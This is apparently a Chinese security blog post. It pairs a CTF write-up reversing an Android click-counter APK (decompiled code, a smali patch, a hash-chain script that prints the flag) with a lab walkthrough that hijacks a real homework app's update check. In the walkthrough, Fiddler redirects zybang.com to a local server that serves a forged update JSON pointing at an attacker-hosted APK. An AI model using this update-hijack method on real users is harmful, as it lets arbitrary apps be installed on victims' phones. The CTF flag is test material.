0x00 安卓逆向 AddNumber.apk
0x00 安装分析apk文件
尝试在安卓模拟器中安装该apk文件,结果却提示应用安装失败。
尝试使用adb来进行安装,结果提示 Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]
猜测可能是因为缺少签名,使用AndroidKiller来进行编译签名,重新进行安装,终于安装成功了。
安装成功后,可以看到要我们进行点击,然后点击87654321次后成功,显然我们不可能来手动点击,接下来看看源码。
0x01 源码分析
由于jeb反编译后的源码好看一点,这里就使用jeb了。
首先来看看onCreate()方法,初始化了很多变量,然后设置了onClick监听事件。
@Override // android.app.Activity
@SuppressLint({"UseValueOf"})
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F030000); // layout:activity_main
this.totalMyTotalNumber = new Integer(0x5397FB1);
this.totalNumber = (TextView)this.findViewById(0x7F060000); // id:textView2_aimNumber
this.totalNumber.setText(this.totalMyTotalNumber.toString());
this.NowNumber = (TextView)this.findViewById(0x7F060002); // id:textView4_nowNumber
this.button_add = (Button)this.findViewById(0x7F060004); // id:button_add
this.button_add.setOnClickListener(this);
this.text_view = (TextView)this.findViewById(0x7F060006); // id:textView_final
}
onClick()方法设置了handle
@Override // android.view.View$OnClickListener
public void onClick(View v) {
switch(v.getId()) {
case 0x7F060004: { // id:button_add
new Thread(new Runnable() {
@Override
public void run() {
Message message = new Message();
message.what = 1;
MainActivity.this.handler.sendMessage(message);
}
}).start();
return;
}
default: {
return;
}
}
}
来看看两个handle,
每一次点击mynumber都会加一,然后判断mynumber与totalMyTotalNumber的大小,如果mynumber大于等于totalMyTotalNumber,则实例化一个新组件,然后使用putExtra()将'data'与'android'形成键值对。之后就在success类中生成flag并同样与"data"形成键值对。
public MainActivity() {
this.handler = new Handler() {
@Override // android.os.Handler
public void handleMessage(Message msg) {
if(msg.what != 1) {
return;
}
++MainActivity.this.mynumber;
MainActivity.this.NowNumber.setText(Integer.toString(MainActivity.this.mynumber));
if(MainActivity.this.mynumber >= ((int)MainActivity.this.totalMyTotalNumber)) {
MainActivity.this.mynumber = 0;
Intent intent = new Intent(MainActivity.this, success.class);
intent.putExtra("data", "android");
MainActivity.this.startActivityForResult(intent, 1);
return;
}
}
};
this.handler_ = new Handler() {
@Override // android.os.Handler
public void handleMessage(Message msg) {
switch(msg.what) {
case 1: {
String string02 = MainActivity.this.myMessage(MainActivity.this.myMessage(msg.obj.toString()));
MainActivity.this.text_view.setText("True flag:" + string02);
return;
}
default: {
return;
}
}
}
};
}
然后在success类中,有一个onBackPressed()方法,在跳转后返回上一页面才会返回flag。
@Override // android.app.Activity
public void onBackPressed() {
Intent intent02 = new Intent();
intent02.putExtra("data", this.string);
this.setResult(-1, intent02);
this.finish();
}
0x02 方法一:修改源码
这里我们可以使用AndroidKiller修改smali代码,将判断条件进行修改,这里找到对应的smali代码,是利用if-lt进行判断,我们可以将其修改为if-gt,当我们进行一次点击后就会进行跳转。
拿到flag。
0x03 方法二:写脚本
这里我们可以不对源码进行修改,而是选择读懂生成flag的逻辑,然后写脚本获取。
这里success类里的onCreate()方法,获取了之前的键值对的值,然后连续调用了三次check()方法。然后在onBackPressed()方法中返回该值。
@Override // android.app.Activity
protected void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.setContentView(0x7F030001); // layout:success_layout
this.textView = (TextView)this.findViewById(0x7F060007); // id:textView_key
this.intent = this.getIntent();
this.string = this.check(this.check(this.check(this.intent.getStringExtra("data"))));
this.textView.setText("成功离你只有一步之遥。。。。。。");
}
然后我们可以在第二个handle中看到,在获取了新的键值对的值后,又调用了两次myMessage()方法,才得到flag,这下就可以写脚本了。
this.handler_ = new Handler() {
@Override // android.os.Handler
public void handleMessage(Message msg) {
switch(msg.what) {
case 1: {
String string02 = MainActivity.this.myMessage(MainActivity.this.myMessage(msg.obj.toString()));
MainActivity.this.text_view.setText("True flag:" + string02);
return;
}
default: {
return;
}
}
}
};
脚本:
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class App {
public static void main(String[] args){
System.out.println(myMessage(myMessage(check(check(check("android"))))));
}
private static String check(String arg6) {
MessageDigest messageDigest = null;
try {
messageDigest = MessageDigest.getInstance("SHA-1");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
assert messageDigest != null;
messageDigest.reset();
messageDigest.update(arg6.getBytes());
return bytesToString(messageDigest.digest());
}
private static String bytesToString(byte[] arg7) {
StringBuilder hexString = new StringBuilder();
int v3;
for (v3 = 0; v3 < arg7.length; ++v3) {
String hex = Integer.toHexString(arg7[v3] & 0xFF);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
private static String myMessage(String string) {
MessageDigest messageDigest = null;
try {
messageDigest = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
assert messageDigest != null;
messageDigest.reset();
messageDigest.update(string.getBytes());
return bytesToString(messageDigest.digest());
}
}
得到输出:0218d33b334a0a15260d149db58a6e50,即为flag。
0x01
0x00 fiddler安装及配置
首先安装fiddler,打开,选择Tools/Options/Connections,可以选择修改端口号,然后将红框的内容给勾选上。
然后选择Tools/Options/HTTPS,勾选图示红框两个选项,然后会提示安装证书,一直确定就可以了。
之后打开安卓模拟器,要确保物理机与模拟器要在统一网段下,设置模拟器的代理。
打开浏览器,输入192.168.43.222:8888,点击红框所示选项,安装证书。
之后我们就可以利用fiddler抓模拟器的包了。
0x01 apk更新劫持
我们此次的目标是劫持作业x APP的安装包更新,然后使用hfs网络文件服务器上传我们想要让APP安装的安装包,然后新建文件夹 /pluto/publish
上传一个名为checkappupdate的文件,内容如下,md5选项修改为我们想要安装的apk文件的md5值,apkurl修改为 "http://192.168.43.222:6666/com.svw.sc.avacar_42.apk"
也就是我们想要安装的apk的路径。
{
"errNo":0,
"errstr":"success",
"data":{
"taskId":2090,
"updateType":2,
"vcname":"13.23.21",
"md5":"5687f8fa7fa81db4c81f64caa407cef9",
"apkUrl":"http://192.168.43.222:6666/com.svw.sc.avacar_42.apk",
"forceUp":0,
"tipUrl":"https://img.zuoyebang.cc/zyb_66ab4650bc7502b7384c1927ff851fef.png",
"tipTitle":"新版尝鲜邀您体验",
"tipContent":"更多细节优化,快来试试吧",
"routerVersion":0
}
}
checkappupdate的内容我们可以通过直接访问 http://zybang.com/pluto/publish/checkappupdate
来获取,当然找一个没有更新过的apk安装更新抓包也可以。
{
"errNo": 0,
"errstr": "success",
"data": {
"md5": "",
"vcname": "",
"taskId": 0,
"apkUrl": "",
"forceUp": 0,
"updateType": 1,
"tipUrl": "",
"tipTitle": "",
"tipContent": "",
"routerVersion": 0
}
}
之后打开fiddler,修改域名 www.zybang.com
解析到我们的文件服务器地址。
192.168.65.1:6666 www.zybang.com
然后打开作业x,点击检查更新,出现如下界面,证明我们修改成功!
Comments | NOTHING